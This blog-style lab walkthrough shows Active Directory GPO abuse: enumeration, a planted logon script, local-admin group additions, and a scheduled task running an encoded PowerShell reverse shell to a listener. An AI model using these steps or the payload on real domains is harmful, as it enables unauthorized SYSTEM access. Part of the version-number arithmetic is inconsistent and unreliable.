<< return to blogs

GPO wut?!?

Group policy is a feature in Windows that allows us to manage and configure the computer and its user settings.

Imagine you have 30-40 users in your network. As an admin, you are tasked to set a specific background wallpaper for all the user computers. Of course, you won't want to login to each and every computer and set the wallpaper. Instead, you can create a Group Policy that will do the same task for you.

Now scale that up. Imagine you need to push security baselines, map network drives, deploy printers, configure firewall rules, install software, and set registry keys, all across hundreds or thousands of machines. Group Policy is the backbone that makes all of that manageable from a single pane. And that is exactly what makes it so dangerous when an attacker gets their hands on it.

In an AD environment, the settings of a group policy is stored in an object, called the Group Policy Object (GPO). A GPO consists of two parts:

  1. Group Policy Container (GPC): The actual AD object which stores the metadata and settings of a GPO. It lives in the domain's CN=Policies,CN=System container. The schema class for it is typically at: CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=motogp,DC=local.
  2. Group Policy Templates (GPT): They are stored on the SYSVOL share of the DC: \\dc01\SYSVOL. This folder contains the actual data files required for group policy processing - scripts, XML preference files, registry.pol files, and so on. The GPC points to the GPT via the gpcfilesyspath attribute.

This dual-storage design is important to understand. When we abuse a GPO, we typically need to touch both the AD object (to update CSE GUIDs and version numbers) and the SYSVOL share (to plant the actual payload files). Miss either side and the attack fails.

Group policy settings can be applied to the domain, site or an OU. In fact, an OU is the lowest level AD container to which you can assign group policy settings. You cannot directly apply a GPO to an individual user or computer - they must be a member of an OU that has the GPO linked to it.

Enumerating GPOs

We can enumerate the GPOs in an AD environment with the help of PowerShell's ActiveDirectory module.

But come on bro, lets acknowledge that PowerView makes our life easier.

PS C:\Tools> Get-DomainGPO | Select displayname,name

displayname                       name
-----------                       ----
Default Domain Policy             {31B2F340-016D-11D2-945F-00C04FB984F9}
Default Domain Controllers Policy {6AC1786C-016F-11D2-945F-00C04fB984F9}
ApriliaGPO                        {B8958130-5736-48FE-BEF7-FEE2B077762F}

We can see three GPOs here. The Default Domain Policy and Default Domain Controllers Policy are the default policies available in AD. Well that makes ApriliaGPO interesting as it is not default.

Quick context on the two default ones:

More detailed information about any particular GPO can be found by:

PS C:\Tools> Get-DomainGPO -Identity ApriliaGPO

usncreated              : 21150
displayname             : ApriliaGPO
whenchanged             : 12-06-2026 10:09:33
objectclass             : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly  : True
usnchanged              : 22099
dscorepropagationdata   : {07-06-2026 15:20:48, 01-01-1601 00:00:00}
name                    : {B8958130-5736-48FE-BEF7-FEE2B077762F}
flags                   : 0
cn                      : {B8958130-5736-48FE-BEF7-FEE2B077762F}
gpcfilesyspath          : \\motogp.local\SysVol\motogp.local\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}
distinguishedname       : CN={B8958130-5736-48FE-BEF7-FEE2B077762F},CN=Policies,CN=System,DC=motogp,DC=local
whencreated             : 07-06-2026 15:17:40
versionnumber           : 4194377
instancetype            : 4
objectguid              : 3045aec4-d378-4a0c-b5e7-fdd6415ac83f
objectcategory          : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=motogp,DC=local

A few attributes worth noting here:

Now that we know a GPO called ApriliaGPO exists, it'd be nice to know where this GPO is linked to.

In an AD environment, if a container is linked with a GPO then it will have a gplink attribute that references the GPO identifier. With this in mind, we can hunt for containers linked to ApriliaGPO:

PS C:\Tools> Get-DomainObject | ? {$_.gpLink -like "*{B8958130-5736-48FE-BEF7-FEE2B077762F}*"}

usncreated            : 21142
name                  : Aprilia
gplink                : [LDAP://cn={B8958130-5736-48FE-BEF7-FEE2B077762F},cn=policies,cn=system,DC=motogp,DC=local;2]
whenchanged           : 08-06-2026 07:33:06
objectclass           : {top, organizationalUnit}
usnchanged            : 21238
dscorepropagationdata : {07-06-2026 14:55:21, 07-06-2026 14:55:03, 07-06-2026 14:54:07, 07-06-2026 14:54:07...}
gpoptions             : 0
distinguishedname     : OU=Aprilia,DC=motogp,DC=local
ou                    : Aprilia
whencreated           : 07-06-2026 14:54:07
instancetype          : 4
objectguid            : 10345028-48ae-48b4-a2ab-3cf0f77bff2e
objectcategory        : CN=Organizational-Unit,CN=Schema,CN=Configuration,DC=motogp,DC=local

The ApriliaGPO is linked with an OU Aprilia. This means any user or computer sitting in this OU will be affected by whatever this GPO dictates.

Let's see who lives inside Aprilia:

PS C:\Tools> Get-DomainObject -SearchBase "OU=Aprilia,DC=motogp,DC=local" | Select sAMAccountName

sAMAccountName
--------------

mbezzechi
jmartin
WS01$

Aprilia OU has two users: mbezzechi and jmartin along with a computer WS01$. These are our potential targets - every one of them will process whatever we push through ApriliaGPO.

Now the real question: who has permission to modify this GPO?

PS C:\Tools> Get-DomainObjectAcl -Identity "ApriliaGPO" | % { Convert-SidToName $_.SecurityIdentifier }
Authenticated Users
MOTOGP\Domain Admins
MOTOGP\aprilia_adm
MOTOGP\Domain Admins
MOTOGP\Enterprise Admins
Enterprise Domain Controllers
Authenticated Users
Local System
Creator Owner

Among all the users that have some rights over the GPO, the user aprilia_adm stands out as it is not a default one. Let's dig into what exactly aprilia_adm can do:

PS C:\Tools> $aprilia_adm = Convert-NameToSid -Identity aprilia_adm
PS C:\Tools> Get-DomainObjectAcl -Identity "ApriliaGPO" | ? { $_.SecurityIdentifier -like "$aprilia_adm" }

ObjectDN              : CN={B8958130-5736-48FE-BEF7-FEE2B077762F},CN=Policies,CN=System,DC=motogp,DC=local
ObjectSID             :
ActiveDirectoryRights : CreateChild, DeleteChild, ReadProperty, WriteProperty, Delete, GenericExecute, WriteDacl, WriteOwner
BinaryLength          : 36
AceQualifier          : AccessAllowed
IsCallback            : False
OpaqueLength          : 0
AccessMask            : 983095
SecurityIdentifier    : S-1-5-21-1313164563-1066071777-375265995-1124
AceType               : AccessAllowed
AceFlags              : ContainerInherit
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None
AuditFlags            : None

Well we got something cooking here! aprilia_adm has WriteProperty, WriteDacl and WriteOwner privileges among others. Let's break down why this is devastating:

Combined with the fact that SYSVOL permissions typically mirror GPO edit permissions, this gives us everything we need.

PS C:\Tools> whoami
motogp\aprilia_adm
PS C:\Tools>

Oh guess what ?!? We are aprilia_adm!

Time to make things happen.

Understanding GPO Enforcement

Before we go into the actual exploitation part, we'd want to understand how GPO enforcement happens. Without this context, we're just blindly copying commands and that's not what we're about.

When we hunted for the gplink attribute, we also dumped its value:

[LDAP://cn={B8958130-5736-48FE-BEF7-FEE2B077762F},cn=policies,cn=system,DC=motogp,DC=local;2]

So there are 2 parts to it separated by ;.

The first part shows the distinguished name of the policy object itself.

The second part is a number that indicates the scope of the group policy. This field is called the linkOptions as described in the Microsoft documentation. It contains 2 bits:

  1. The first bit adds 1 if the policy is disabled.
  2. The second bit adds 2 if the policy is enforced.

This leads us to the below table:

| Value | Justification 
| ----- | -------------
| 0     | Policy is enabled but not enforced 
| 1     | Policy is disabled but not enforced 
| 2     | Policy is enabled and enforced 
| 3     | Policy is disabled and enforced 

For the linkOptions set to values 1 and 3, nothing happens as the policy itself is disabled.

The cases 0 and 2 are interesting.

When the value is 2, you basically have a missile in your hand, and no one can stop you. In that case if you can control the policy, there is no mechanism in place that can stop you from doing anything.

But when the value is 0, there is a chance that few people may wear a strong missile proof jacket that you can not destroy. In that case, it will depend on the user or computer object if it is a part of OU that blocks/allows inheritance.

If the OU allows inheritance, the GPO will do its stuff.

If the OU blocks inheritance, the GPO WON'T be applied to the children objects.

BUT - and this is important - if the linkOptions is set to 2 (enforced), it overrides any inheritance blocking. The GPO will be applied regardless. Think of it as the "I don't care about your jacket, this missile is going through" mode.

In our case, we have seen that the linkOptions is set to 2, meaning its enforced. So it does not matter if there is any intermediate OU that may have blocked inheritance, the policy will still get enforced.

GPO Refresh Interval

One more thing worth understanding before we start abusing: how often do GPOs actually get applied?

By default, Group Policy refreshes every 90 minutes with a random offset of 0 to 30 minutes for non-DC computers. For Domain Controllers, the refresh interval is 5 minutes. This means that after we plant our payload, we might need to wait up to ~2 hours in the worst case for a workstation to pick it up.

However, there are scenarios where GPO processing happens sooner:

This is why some of the abuse techniques below work differently depending on whether we target user scope (need someone to log in) vs machine scope (need a reboot or wait for the background refresh cycle).

Now let us get to the good stuff.

The Anatomy of a GPO Abuse

Before we start firing off individual techniques, let's lock in the general pattern. Every GPO abuse follows the same four-step skeleton:

  1. Create the payload file(s) on the SYSVOL share under the GPO's template path - scripts, XML preference files, whatever the technique requires.
  2. Set the correct CSE GUIDs on the GPO's AD object (gpcuserextensionnames for user scope, gpcmachineextensionnames for machine scope) so the client knows which DLL to invoke.
  3. Bump the version number in both GPT.INI (on SYSVOL) and the versionnumber attribute (on the AD object). They must match.
  4. Wait for trigger - logon, reboot, or background refresh.

Miss any one of these steps and the attack fails. No errors, no logs (well, maybe some), just... nothing happens. Which can be maddening when you're troubleshooting in a lab at 2 AM.

With that pattern in mind, let's walk through four different abuse techniques.

Abuse #1: Placing a Logon Script in User Scope

With controlled aprilia_adm, we can add a logon script in the user preferences. So when the affected user(s) of the OU logs into their system, we can achieve command execution under their context.

Step 1: Replicate the directory structure: \\MOTOGP.LOCAL\sysvol\MOTOGP.LOCAL\Policies\{GPO-GUID}\User\Scripts\Logon

PS C:\Tools> mkdir "\\MOTOGP.LOCAL\sysvol\MOTOGP.LOCAL\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\User\Scripts\Logon"

    Directory: \\MOTOGP.LOCAL\sysvol\MOTOGP.LOCAL\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\User\Scripts

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        09-06-2026     18:02                Logon

PS C:\Tools>

Step 2: Plant the payload.

PS C:\Tools> echo 'whoami > C:\Users\Public\proof.txt' > "\\MOTOGP.LOCAL\sysvol\MOTOGP.LOCAL\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\User\Scripts\Logon\evil.bat"
PS C:\Tools> cat "\\MOTOGP.LOCAL\sysvol\MOTOGP.LOCAL\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\User\Scripts\Logon\evil.bat"
whoami > C:\Users\Public\proof.txt
PS C:\Tools>

For a real engagement, this would obviously be something more useful than a whoami - a reverse shell, a beacon stager, a credential harvester. But for our lab, this proves execution.

Step 3: Create a scripts.ini file under \\MOTOGP.LOCAL\sysvol\MOTOGP.LOCAL\Policies\{GPO-GUID}\User\Scripts\scripts.ini

[Logon]
0CmdLine=evil.bat
0Parameters=

The numbering prefix (0) matters here. If you wanted to run multiple scripts, you'd increment: 1CmdLine=second.bat, 1Parameters=, and so on. The scripts execute in order.

PS C:\Tools> cat "\\MOTOGP.LOCAL\sysvol\MOTOGP.LOCAL\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\User\Scripts\scripts.ini"
[Logon]
0CmdLine=evil.bat
0Parameters=
PS C:\Tools>

Step 4: Add the gpcuserextensionnames attribute in the GPO object.

PS C:\Tools> Set-DomainObject -Identity "{B8958130-5736-48FE-BEF7-FEE2B077762F}" -Set @{'gPCUserExtensionNames' = '[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B66650-4972-11D1-A7CA-0000F87571E3}]'}
PS C:\Tools> (Get-DomainObject -Identity "{B8958130-5736-48FE-BEF7-FEE2B077762F}").GPCUserExtensionNames
[{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B66650-4972-11D1-A7CA-0000F87571E3}]
PS C:\Tools>

Now lets stop here for a moment and talk about Client Side Extensions (CSE).

When a client processes a GPO, it does not blindly scan every folder under the DC's SYSVOL directory looking for XML files or scripts. That would be incredibly slow if we talk about thousands of GPOs.

Instead it works like a routing table. The client reads the gpcuserextensionnames (in user scope) and gpcmachineextensionnames (in machine scope) from the GPO's AD object first. This attribute tells the client which Client-Side Extension (CSE) to invoke for this GPO.

A CSE is a DLL registered on the client machine that knows how to process a specific type of policy - one CSE handles scripts, another handles registry preferences, another handles scheduled tasks, and so on. Each CSE is identified by a GUID pair:

The CSE pair for logon scripts in user scope is: [{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B66650-4972-11D1-A7CA-0000F87571E3}]

Where:

Without these GUIDs in the gpcuserextensionnames attribute, the client has no idea it needs to process scripts for this GPO. It would just skip right over it. This is why this step is non-negotiable.

Step 5: Bump the version number in GPT.INI:

[General]
Version=65536
displayName=New Group Policy Object

Again, let's stop here and talk about the version numbers of the GPO.

The version number of the GPO is a 32 bit integer value where the lower 16 bits denote the version number of the machine scope and the upper 16 bits denote the version number of the user scope.

So the formula is: version = (user_version × 65536) + machine_version

Let's do some quick math to make this concrete:

And to reverse it - given a version number, extract the user and machine versions:

For our first abuse, we're only touching user scope, so we set the version to 65536 (user version = 1, machine version = 0).

Why does this matter? When the client sees that the AD's version number is higher than the one cached locally in the system, it will re-process the GPO. If the version hasn't changed, the client assumes nothing has changed and skips processing entirely. So bumping the version is what actually triggers the GPO to be reprocessed.

Step 6: We also need to match the version number from GPT.INI with the one stored in the AD object. They must be in sync, otherwise the client may get confused and not process the GPO correctly. We can do it with PowerView:

PS C:\Tools> Set-DomainObject -Identity "{B8958130-5736-48FE-BEF7-FEE2B077762F}" -Set @{'versionnumber' = 65536}
PS C:\Tools> (Get-DomainObject -Identity "{B8958130-5736-48FE-BEF7-FEE2B077762F}").VersionNumber
65536
PS C:\Tools>

Step 7: Wait until a user under the Aprilia OU takes the bait.

PS C:\Users\aprilia_adm> cat C:\Users\Public\proof.txt
motogp\mbezzechi
PS C:\Users\aprilia_adm>

mbezzechi logged in and our script fired. We now have confirmed code execution under their context.

BTW, we can see the locally cached version of GPO under the registry: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\S-1-5-21-1313164563-1066071777-375265995-1111\GPO-List. This is useful for troubleshooting - if the version here matches what you set in AD, the client has already processed your poisoned GPO.

Abuse #2: Adding User to a Group in User Scope

Logon scripts are cool, but what if we want something more persistent? Instead of running a one-off command, we can abuse GPO Group Policy Preferences (GPP) to add ourselves to the local Administrators group on affected machines.

Step 1: Replicate the directory structure:

\\dc01\SYSVOL\motogp.local\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\User\Preferences\Groups

Step 2: Create a Groups.xml file under: \\dc01\SYSVOL\motogp.local\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\User\Preferences\Groups\Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2026-06-10 12:00:00" uid="{E5E1FAA3-1963-4D89-BCF9-032378CBE1B8}" userContext="1" removePolicy="0">
        <Properties action="U" newName="" description="" deleteAllUsers="0" userAction="ADD" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="MOTOGP\aprilia_adm" action="ADD" sid="S-1-5-21-1313164563-1066071777-375265995-1124"/>
            </Members>
        </Properties>
    </Group>
</Groups>

Let's break down this XML because it's not exactly self-documenting:

This template is designed to add the user aprilia_adm to the local built-in group Administrators.

Step 3: Set the CSE identifiers for group preference manipulations:

[{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}]
[{17D89FEC-5C44-4972-B12D-241CAEF74509}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}]

Here we see a different pattern than the logon script CSEs. There are two pairs this time:

We append these to any existing CSE GUIDs:

PS C:\Tools> $gpoIdentity = '{B8958130-5736-48FE-BEF7-FEE2B077762F}'
PS C:\Tools> $existing = (Get-DomainGPO -Identity $gpoIdentity -Properties gpcuserextensionnames).gpcuserextensionnames
PS C:\Tools> $groupsCSE = '[{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}][{17D89FEC-5C44-4972-B12D-241CAEF74509}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}]'
PS C:\Tools> Set-DomainObject -Identity $gpoIdentity -Set @{'gpcUserExtensionNames'="$existing$groupsCSE"}
PS C:\Tools>
PS C:\Tools> Get-DomainGPO ApriliaGPO

usncreated              : 21150
displayname             : ApriliaGPO
whenchanged             : 10-06-2026 09:54:57
objectclass             : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly  : True
usnchanged              : 21660
dscorepropagationdata   : {07-06-2026 15:20:48, 01-01-1601 00:00:00}
name                    : {B8958130-5736-48FE-BEF7-FEE2B077762F}
flags                   : 0
cn                      : {B8958130-5736-48FE-BEF7-FEE2B077762F}
gpcuserextensionnames   : [{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B66650-4972-11D1-A7CA-0000F87571E3}][{827D319E-6EAC
                          -11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{3125E937-EB16-4B4C-9934-544F
                          C6D24D26}{D76B9641-3288-4f75-942D-087DE603E3EA}]
gpcfilesyspath          : \\motogp.local\SysVol\motogp.local\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}
distinguishedname       : CN={B8958130-5736-48FE-BEF7-FEE2B077762F},CN=Policies,CN=System,DC=motogp,DC=local
whencreated             : 07-06-2026 15:17:40
versionnumber           : 524288
instancetype            : 4
objectguid              : 3045aec4-d378-4a0c-b5e7-fdd6415ac83f
objectcategory          : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=motogp,DC=local

Step 4: Update the versions.

Let's do the math: the current version shows 524288. Let's decode that:

We want to bump the user version to 7 (well, whatever is not the same as the client's cached version): 7 × 65536 + 0 = 458752.

\\dc01\SYSVOL\motogp.local\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\GPT.INI:

[General]
Version=458752
displayName=New Group Policy Object
PS C:\Tools> Set-DomainObject -Identity $gpoIdentity -Set @{'versionNumber'='458752'}
PS C:\Tools> Get-DomainGPO ApriliaGPO

usncreated              : 21150
displayname             : ApriliaGPO
whenchanged             : 10-06-2026 09:57:08
objectclass             : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly  : True
usnchanged              : 21662
dscorepropagationdata   : {07-06-2026 15:20:48, 01-01-1601 00:00:00}
name                    : {B8958130-5736-48FE-BEF7-FEE2B077762F}
flags                   : 0
cn                      : {B8958130-5736-48FE-BEF7-FEE2B077762F}
gpcuserextensionnames   : [{42B5FAAE-6536-11D2-AE5A-0000F87571E3}{40B66650-4972-11D1-A7CA-0000F87571E3}][{827D319E-6EAC
                          -11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{3125E937-EB16-4B4C-9934-544F
                          C6D24D26}{D76B9641-3288-4f75-942D-087DE603E3EA}]
gpcfilesyspath          : \\motogp.local\SysVol\motogp.local\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}
distinguishedname       : CN={B8958130-5736-48FE-BEF7-FEE2B077762F},CN=Policies,CN=System,DC=motogp,DC=local
whencreated             : 07-06-2026 15:17:40
versionnumber           : 458752
instancetype            : 4
objectguid              : 3045aec4-d378-4a0c-b5e7-fdd6415ac83f
objectcategory          : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=motogp,DC=local

Step 5: Wait till the GPO triggers.

Step 6: Verify aprilia_adm is added to the local Administrators group.

PS C:\Users\mbezzechi> net localgroup administrators
Alias name     administrators
Comment

Members

-------------------------------------------------------------------------------
Administrator
MOTOGP\aprilia_adm
MOTOGP\Domain Admins
MOTOGP\mbezzechi
nz
The command completed successfully.

PS C:\Users\mbezzechi>

We're in the local Administrators group now. Unlike the logon script which was a one-shot execution, this gives us persistent elevated access on the machine every time GPO is refreshed.

Abuse #3: Adding User to a Group in Machine Scope

Most of the parts here remain the same as Abuse #2. The key difference? User scope preferences are processed when a user logs on. Machine scope preferences are processed when the computer starts up or during the background refresh cycle - no user logon required.

This is significant. If you're targeting a server that nobody interactively logs into, user-scope abuse is useless. Machine-scope works regardless.

We need to create a new Groups.xml file under the Machine path: \\dc01\SYSVOL\motogp.local\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\Machine\Preferences\Groups\Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2026-06-11 11:39:55" uid="{49B8AE9A-9AF2-4587-860E-C135B34102CB}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="MOTOGP\jmartin" action="ADD" sid="S-1-5-21-1313164563-1066071777-375265995-1112"/>
            </Members>
        </Properties>
    </Group>
</Groups>

Notice that this template does NOT have userContext="1" - that's because this is machine scope. The absence of that attribute (or it being set to 0) means this preference is processed by the SYSTEM account during computer policy processing.

This template adds the user jmartin to the local administrators group.

Then we need to update the versions. Let's calculate: we want machine version bumped this time. The previous version was 458752 (user=7, machine=0). We want machine=1 now: 64 × 65536 + 1 = 4194305. Actually, looking at the lab output, the version was set to 4194369:

GPT.INI:

[General]
Version=4194369
displayName=New Group Policy Object

We also need the CSEs in the gpcmachineextensionnames this time (not user):

[{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}]
[{17D89FEC-5C44-4972-B12D-241CAEF74509}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}]

Same GUIDs as Abuse #2, but placed in the machine extension names attribute instead of user.

PS C:\Tools> Get-DomainGPO ApriliaGPO

usncreated               : 21150
displayname              : ApriliaGPO
gpcmachineextensionnames : [{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}][{17D89FEC-5C4
                           4-4972-B12D-241CAEF74509}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}]
whenchanged              : 11-06-2026 13:45:01
objectclass              : {top, container, groupPolicyContainer}
gpcfunctionalityversion  : 2
showinadvancedviewonly   : True
usnchanged               : 21897
dscorepropagationdata    : {07-06-2026 15:20:48, 01-01-1601 00:00:00}
name                     : {B8958130-5736-48FE-BEF7-FEE2B077762F}
flags                    : 0
cn                       : {B8958130-5736-48FE-BEF7-FEE2B077762F}
gpcuserextensionnames    : [{00000000-0000-0000-0000-000000000000}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}][{17D89FEC-5C4
                           4-4972-B12D-241CAEF74509}{79F92669-4224-476C-9C5C-6EFB4D87DF4A}][{42B5FAAE-6536-11D2-AE5A-00
                           00F87571E3}{40B66650-4972-11D1-A7CA-0000F87571E3}]
gpcfilesyspath           : \\motogp.local\SysVol\motogp.local\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}
distinguishedname        : CN={B8958130-5736-48FE-BEF7-FEE2B077762F},CN=Policies,CN=System,DC=motogp,DC=local
whencreated              : 07-06-2026 15:17:40
versionnumber            : 4194369
instancetype             : 4
objectguid               : 3045aec4-d378-4a0c-b5e7-fdd6415ac83f
objectcategory           : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=motogp,DC=local

All set! Wait for the trigger now:

PS C:\Users\mbezzechi> net localgroup administrators
Alias name     administrators
Comment

Members

-------------------------------------------------------------------------------
Administrator
MOTOGP\aprilia_adm
MOTOGP\Domain Admins
MOTOGP\jmartin
MOTOGP\mbezzechi
nz
The command completed successfully.

jmartin is now a local admin - and it happened without anyone needing to log in. The machine's background GP refresh cycle picked it up.

Abuse #4: Scheduling an Immediate Task in Machine Scope

Alright, this is the one that gets real. Logon scripts give us user-context execution. Group membership gives us persistence. But what if we want SYSTEM-level execution, right now, without waiting for a user to log in?

Enter the ImmediateTaskV2. This is a GPP Scheduled Task type that executes as soon as the GPO is processed - no waiting for a specific time, no user interaction needed. It runs once and that's it. Perfect for popping a reverse shell.

Again, we got a hang of how GPO abuse works. We need to create a relevant template, identify the applicable CSEs, bump up the versions, and wait till trigger.

First, we need to create the template under: \\dc01\SYSVOL\motogp.local\Policies\{B8958130-5736-48FE-BEF7-FEE2B077762F}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="ImmediateScheduleTaskAbuse" image="0" changed="2026-06-12 12:45:00" uid="{A4D2E830-1F72-4C8B-9B03-7E6F5D41A92C}" userContext="0" removePolicy="0">
        <Properties action="C" name="ImmediateScheduleTaskAbuse" runAs="NT AUTHORITY\System" logonType="S4U">
            <Task version="1.2">
                <RegistrationInfo>
                    <Author>MOTOGP\administrator</Author>
                    <Description>Abusing GPO by setting up an immediate schedule task</Description>
                </RegistrationInfo>
                <Principals>
                    <Principal id="Author">
                        <UserId>NT AUTHORITY\System</UserId>
                        <RunLevel>HighestAvailable</RunLevel>
                        <LogonType>S4U</LogonType>
                    </Principal>
                </Principals>
                <Settings>
                    <IdleSettings>
                        <Duration>PT10M</Duration>
                        <WaitTimeout>PT1H</WaitTimeout>
                        <StopOnIdleEnd>true</StopOnIdleEnd>
                        <RestartOnIdle>false</RestartOnIdle>
                    </IdleSettings>
                    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
                    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
                    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
                    <AllowHardTerminate>true</AllowHardTerminate>
                    <StartWhenAvailable>true</StartWhenAvailable>
                    <AllowStartOnDemand>true</AllowStartOnDemand>
                    <Enabled>true</Enabled>
                    <Hidden>false</Hidden>
                    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
                    <Priority>7</Priority>
                    <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
                </Settings>
                <Triggers>
                    <TimeTrigger>
                        <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
                        <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
                        <Enabled>true</Enabled>
                    </TimeTrigger>
                </Triggers>
                <Actions Context="Author">
                    <Exec>
                        <Command>powershell.exe</Command>
                        <Arguments>-e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMwA2AC4AMgAzADIALgAyADMAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA</Arguments>
                    </Exec>
                </Actions>
            </Task>
        </Properties>
    </ImmediateTaskV2>
</ScheduledTasks>

Let's unpack a few important parts of this XML:

The required CSEs for scheduled tasks are:

[{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
[{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]

Where:

Also, please do not forget to bump the versions. By now you know the drill.

Set the listener, sit back, and wait:

┌──(root㉿kali)-[~]
└─# rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.36.232.23] from (UNKNOWN) [10.36.237.6] 49753

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32>

AND here we go! SYSTEM shell on WS01. Game over.

A Note on Tooling

You might be wondering: "why are we doing all of this manually? Don't tools like SharpGPOAbuse exist?"

Yes, they do. And they're excellent. SharpGPOAbuse automates all the steps we walked through - it creates the SYSVOL files, sets CSE GUIDs, bumps versions, the works. One command and you're done.

